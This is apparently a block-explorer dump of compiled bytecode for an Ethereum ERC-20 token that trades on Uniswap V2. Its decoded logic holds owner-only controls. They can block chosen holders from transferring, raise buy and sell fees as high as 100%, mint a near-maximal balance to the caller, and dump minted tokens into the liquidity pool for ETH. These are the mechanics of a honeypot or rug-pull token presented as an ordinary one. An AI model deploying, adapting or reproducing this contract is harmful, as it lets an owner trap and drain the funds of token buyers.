050809350505050919050565b600080339050610e5d818585610e4e8589611399565b610e589190612f13565b611ad5565b600191505092915050565b610e9433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f0433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d9061310d565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61107333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60648211158015611085575060648111155b6110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb906132b6565b60405180910390fd5b81600b8190555080600c819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61112761277a565b61113160006127f1565b565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461118b90612eb3565b80601f01602080910402602001604051908101604052809291908181526020018280546111b790612eb3565b80156112045780601f106111d957610100808354040283529160200191611204565b820191906000526020600020905b8154815290600101906020018083116111e757829003601f168201915b5050505050905090565b6000600d60009054906101000a900460ff16905090565b60008033905060006112378286611399565b90508381101561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390613348565b60405180910390fd5b6112898286868403611ad5565b60019250505092915050565b6000803390506112a6818585611d9c565b600191505092915050565b6112dd33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600d60006101000a81548160ff02191690831515021790555050565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161461135957600161135c565b60005b9050919050565b61138f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6113976128b5565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114c833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60006114d330610ca3565b90506000816dffffffffffffffffffffffffffff80166114f39190613368565b90506114fd6128b5565b61150f3061150a336110d6565b611295565b5061154d30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611ad5565b6060600267ffffffffffffffff81111561156a5761156961339c565b5b6040519080825280602002602001820160405280156115985781602001602082028036833780820191505090505b50905030816000815181106115b0576115af6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611657573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167b9190613217565b8160018151811061168f5761168e6133cb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b04261171f9190612f13565b6040518663ffffffff1660e01b815260040161173f9594939291906134b8565b6000604051808303816000875af115801561175e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611787919061362b565b5050505050565b6117ba33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61182a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118c15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119939190613217565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016119cd929190613674565b602060405180830381865afa1580156119ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0e9190613217565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611a5a61277a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac09061370f565b60405180910390fd5b611ad2816127f1565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b906137a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa90613833565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c919190612c53565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d03906138c5565b60405180910390fd5b5050565b6000611d1c8484611399565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611d965781811015611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90613931565b60405180910390fd5b611d958484848403611ad5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e02906139c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190613a55565b60405180910390fd5b611e83836112fa565b15611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba90613ac1565b60405180910390fd5b611ece83838361291d565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90613b53565b60405180910390fd5b600d60009054906101000a900460ff16156120a657611f7384612922565b1561200957601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90613be5565b60405180910390fd5b6120a5565b61201283612922565b156120a457601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a90613be5565b60405180910390fd5b5b5b5b6120af84610ff1565b1580156120c257506120c083610ff1565b155b1561265e576120d084612922565b1561230a5760006120e383600b546129d4565b905082826120f19190613368565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836121409190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461218e9190612f13565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866121f09190613368565b6040516121fd9190612c53565b60405180910390a38060056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122769190612f13565b92505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122fc9190612c53565b60405180910390a350612659565b61231383612922565b1561254d57600061232683600c546129d4565b905082826123349190613368565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836123839190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123d19190612f13565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866124339190613368565b6040516124409190612c53565b60405180910390a38060056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124b99190612f13565b92505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161253f9190612c53565b60405180910390a350612658565b81816125599190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125eb9190612f13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161264f9190612c53565b60405180910390a35b5b612769565b818161266a9190613368565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126fc9190612f13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127609190612c53565b60405180910390a35b6127748484846129f6565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612799611153565b73ffffffffffffffffffffffffffffffffffffffff16146127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e690613c51565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129149190612f13565b92505081905550565b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806129cd5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846129e49190613c71565b6129ee9190613ce2565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a35578082015181840152602081019050612a1a565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a5d826129fb565b612a678185612a06565b9350612a77818560208601612a17565b612a8081612a41565b840191505092915050565b60006020820190508181036000830152612aa58184612a52565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612aec82612ac1565b9050919050565b612afc81612ae1565b8114612b0757600080fd5b50565b600081359050612b1981612af3565b92915050565b6000819050919050565b612b3281612b1f565b8114612b3d57600080fd5b50565b600081359050612b4f81612b29565b92915050565b60008060408385031215612b6c57612b6b612ab7565b5b6000612b7a85828601612b0a565b9250506020612b8b85828601612b40565b9150509250929050565b60008115159050919050565b612baa81612b95565b82525050565b6000602082019050612bc56000830184612ba1565b92915050565b600060ff82169050919050565b612be181612bcb565b8114612bec57600080fd5b50565b600081359050612bfe81612bd8565b92915050565b60008060408385031215612c1b57612c1a612ab7565b5b6000612c2985828601612b0a565b9250506020612c3a85828601612bef565b9150509250929050565b612c4d81612b1f565b82525050565b6000602082019050612c686000830184612c44565b92915050565b612c7781612b95565b8114612c8257600080fd5b50565b600081359050612c9481612c6e565b92915050565b60008060408385031215612cb157612cb0612ab7565b5b6000612cbf85828601612b0a565b9250506020612cd085828601612c85565b9150509250929050565b600080600060608486031215612cf357612cf2612ab7565b5b6000612d0186828701612b0a565b9350506020612d1286828701612b0a565b9250506040612d2386828701612b40565b9150509250925092565b6000604082019050612d426000830185612c44565b612d4f6020830184612c44565b9392505050565b612d5f81612bcb565b82525050565b6000602082019050612d7a6000830184612d56565b92915050565b600060208284031215612d9657612d95612ab7565b5b6000612da484828501612b0a565b91505092915050565b60008060408385031215612dc457612dc3612ab7565b5b6000612dd285828601612b40565b9250506020612de385828601612b40565b9150509250929050565b612df681612ae1565b82525050565b6000602082019050612e116000830184612ded565b92915050565b600060208284031215612e2d57612e2c612ab7565b5b6000612e3b84828501612c85565b91505092915050565b60008060408385031215612e5b57612e5a612ab7565b5b6000612e6985828601612b0a565b9250506020612e7a85828601612b0a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ecb57607f821691505b602082108103612ede57612edd612e84565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f1e82612b1f565b9150612f2983612b1f565b9250828201905080821115612f4157612f40612ee4565b5b92915050565b6000819050919050565b6000819050919050565b6000612f76612f71612f6c84612f47565b612f51565b612b1f565b9050919050565b612f8681612f5b565b82525050565b600060c082019050612fa16000830189612ded565b612fae6020830188612c44565b612fbb6040830187612f7d565b612fc86060830186612f7d565b612fd56080830185612ded565b612fe260a0830184612c44565b979650505050505050565b600081519050612ffc81612b29565b92915050565b60008060006060848603121561301b5761301a612ab7565b5b600061302986828701612fed565b935050602061303a86828701612fed565b925050604061304b86828701612fed565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b600061308b601783612a06565b915061309682613055565b602082019050919050565b600060208201905081810360008301526130ba8161307e565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006130f7601d83612a06565b9150613102826130c1565b602082019050919050565b60006020820190508181036000830152613126816130ea565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6131508161312d565b811461315b57600080fd5b50565b60008151905061316d81613147565b92915050565b600063ffffffff82169050919050565b61318c81613173565b811461319757600080fd5b50565b6000815190506131a981613183565b92915050565b6000806000606084860312156131c8576131c7612ab7565b5b60006131d68682870161315e565b93505060206131e78682870161315e565b92505060406131f88682870161319a565b9150509250925092565b60008151905061321181612af3565b92915050565b60006020828403121561322d5761322c612ab7565b5b600061323b84828501613202565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b60006132a0602483612a06565b91506132ab82613244565b604082019050919050565b600060208201905081810360008301526132cf81613293565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613332602583612a06565b915061333d826132d6565b604082019050919050565b6000602082019050818103600083015261336181613325565b9050919050565b600061337382612b1f565b915061337e83612b1f565b925082820390508181111561339657613395612ee4565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61342f81612ae1565b82525050565b60006134418383613426565b60208301905092915050565b6000602082019050919050565b6000613465826133fa565b61346f8185613405565b935061347a83613416565b8060005b838110156134ab5781516134928882613435565b975061349d8361344d565b92505060018101905061347e565b5085935050505092915050565b600060a0820190506134cd6000830188612c44565b6134da6020830187612f7d565b81810360408301526134ec818661345a565b90506134fb6060830185612ded565b6135086080830184612c44565b9695505050505050565b600080fd5b61352082612a41565b810181811067ffffffffffffffff8211171561353f5761353e61339c565b5b80604052505050565b6000613552612aad565b905061355e8282613517565b919050565b600067ffffffffffffffff82111561357e5761357d61339c565b5b602082029050602081019050919050565b600080fd5b60006135a76135a284613563565b613548565b905080838252602082019050602084028301858111156135ca576135c961358f565b5b835b818110156135f357806135df8882612fed565b8452602084019350506020810190506135cc565b5050509392505050565b600082601f83011261361257613611613512565b5b8151613622848260208601613594565b91505092915050565b60006020828403121561364157613640612ab7565b5b600082015167ffffffffffffffff81111561365f5761365e612abc565b5b61366b848285016135fd565b91505092915050565b60006040820190506136896000830185612ded565b6136966020830184612ded565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136f9602683612a06565b91506137048261369d565b604082019050919050565b60006020820190508181036000830152613728816136ec565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061378b602483612a06565b91506137968261372f565b604082019050919050565b600060208201905081810360008301526137ba8161377e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061381d602283612a06565b9150613828826137c1565b604082019050919050565b6000602082019050818103600083015261384c81613810565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006138af602183612a06565b91506138ba82613853565b604082019050919050565b600060208201905081810360008301526138de816138a2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061391b601d83612a06565b9150613926826138e5565b602082019050919050565b6000602082019050818103600083015261394a8161390e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139ad602583612a06565b91506139b882613951565b604082019050919050565b600060208201905081810360008301526139dc816139a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a3f602383612a06565b9150613a4a826139e3565b604082019050919050565b60006020820190508181036000830152613a6e81613a32565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b6000613aab602083612a06565b9150613ab682613a75565b602082019050919050565b60006020820190508181036000830152613ada81613a9e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b3d602683612a06565b9150613b4882613ae1565b604082019050919050565b60006020820190508181036000830152613b6c81613b30565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bcf602283612a06565b9150613bda82613b73565b604082019050919050565b60006020820190508181036000830152613bfe81613bc2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c3b602083612a06565b9150613c4682613c05565b602082019050919050565b60006020820190508181036000830152613c6a81613c2e565b9050919050565b6000613c7c82612b1f565b9150613c8783612b1f565b9250828202613c9581612b1f565b91508282048414831517613cac57613cab612ee4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ced82612b1f565b9150613cf883612b1f565b925082613d0857613d07613cb3565b5b82820490509291505056fea2646970667358221220b57ed3ffff9ee374bcda0249c8a1d673a17dd7742bbf28f9229131f7158e05c864736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x6080604052600436106101ee5760003560e01c8063715018a61161010d578063b5c72e1a116100a0578063ecbe5a2d1161006f578063ecbe5a2d14610719578063ed4091b714610756578063edd8b64a1461076d578063f1fee6a214610796578063f2fde38b146107bf576101ee565b8063b5c72e1a1461065d578063d445d19e1461069a578063dd62ed3e146106b1578063e4440a86146106ee576101ee565b8063a07fc5a2116100dc578063a07fc5a21461058f578063a457c2d7146105ba578063a9059cbb146105f7578063b49f93f714610634576101ee565b8063715018a6146104e557806385ecafd7146104fc5780638da5cb5b1461053957806395d89b4114610564576101ee565b8063313ce567116101855780635337cc99116101545780635337cc99146104195780635342acb4146104425780636db794371461047f57806370a08231146104a8576101ee565b8063313ce5671461034b57806335d162741461037657806339509351146103b35780634d474d42146103f0576101ee565b806318160ddd116101c157806318160ddd1461028e5780631f6b29f7146102b957806323b872dd146102e25780632df8bca91461031f576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630bc488c51461025b5780630cdd843614610265575b600080fd5b3480156101ff57600080fd5b506102086107e8565b6040516102159190612a8b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612b55565b61087a565b6040516102529190612bb0565b60405180910390f35b610263610896565b005b34801561027157600080fd5b5061028c60048036038101906102879190612c04565b6109ce565b005b34801561029a57600080fd5b506102a3610b30565b6040516102b09190612c53565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612c9a565b610b3a565b005b3480156102ee57600080fd5b5061030960048036038101906103049190612cda565b610c53565b6040516103169190612bb0565b60405180910390f35b34801561032b57600080fd5b50610334610c7b565b604051610342929190612d2d565b60405180910390f35b34801561035757600080fd5b50610360610c8c565b60405161036d9190612d65565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d80565b610ca3565b6040516103aa9190612c53565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190612b55565b610e38565b6040516103e79190612bb0565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190612d80565b610e68565b005b34801561042557600080fd5b50610440600480360381019061043b9190612c9a565b610ed8565b005b34801561044e57600080fd5b5061046960048036038101906104649190612d80565b610ff1565b6040516104769190612bb0565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612dad565b611047565b005b3480156104b457600080fd5b506104cf60048036038101906104ca9190612d80565b6110d6565b6040516104dc9190612c53565b60405180910390f35b3480156104f157600080fd5b506104fa61111f565b005b34801561050857600080fd5b50610523600480360381019061051e9190612d80565b611133565b6040516105309190612bb0565b60405180910390f35b34801561054557600080fd5b5061054e611153565b60405161055b9190612dfc565b60405180910390f35b34801561057057600080fd5b5061057961117c565b6040516105869190612a8b565b60405180910390f35b34801561059b57600080fd5b506105a461120e565b6040516105b19190612bb0565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc9190612b55565b611225565b6040516105ee9190612bb0565b60405180910390f35b34801561060357600080fd5b5061061e60048036038101906106199190612b55565b611295565b60405161062b9190612bb0565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190612e17565b6112b1565b005b34801561066957600080fd5b50610684600480360381019061067f9190612d80565b6112fa565b6040516106919190612bb0565b60405180910390f35b3480156106a657600080fd5b506106af611363565b005b3480156106bd57600080fd5b506106d860048036038101906106d39190612e44565b611399565b6040516106e59190612c53565b60405180910390f35b3480156106fa57600080fd5b50610703611420565b6040516107109190612dfc565b60405180910390f35b34801561072557600080fd5b50610740600480360381019061073b9190612d80565b611446565b60405161074d9190612bb0565b60405180910390f35b34801561076257600080fd5b5061076b61149c565b005b34801561077957600080fd5b50610794600480360381019061078f9190612d80565b61178e565b005b3480156107a257600080fd5b506107bd60048036038101906107b89190612e44565b6117fe565b005b3480156107cb57600080fd5b506107e660048036038101906107e19190612d80565b611a52565b005b6060600880546107f790612eb3565b80601f016020809104026020016040519081016040528092919081815260200182805461082390612eb3565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b60008033905061088b818585611ad5565b600191505092915050565b6108c233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b6108d4306108cf336110d6565b611295565b5061090a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610905306110d6565b611ad5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610953306110d6565b600080336104b0426109659190612f13565b6040518863ffffffff1660e01b815260040161098696959493929190612f8c565b60606040518083038185885af11580156109a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c99190613002565b505050565b6109fa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60028160ff1610610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a37906130a1565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb9061310d565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610b6633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef9061310d565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080339050610c64858285611d10565b610c6f858585611d9c565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3991906131af565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190613217565b73ffffffffffffffffffffffffffffffffffffffff1614610e1957816dffffffffffffffffffffffffffff16610e2b565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b600080339050610e5d818585610e4e8589611399565b610e589190612f13565b611ad5565b600191505092915050565b610e9433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f0433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d9061310d565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61107333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c9e565b60648211158015611085575060648111155b6110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb906132b6565b60405180910390fd5b81600b8190555080600c819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61112761277a565b61113160006127f1565b565b60106020528060005260406000206000915054906101000a900460f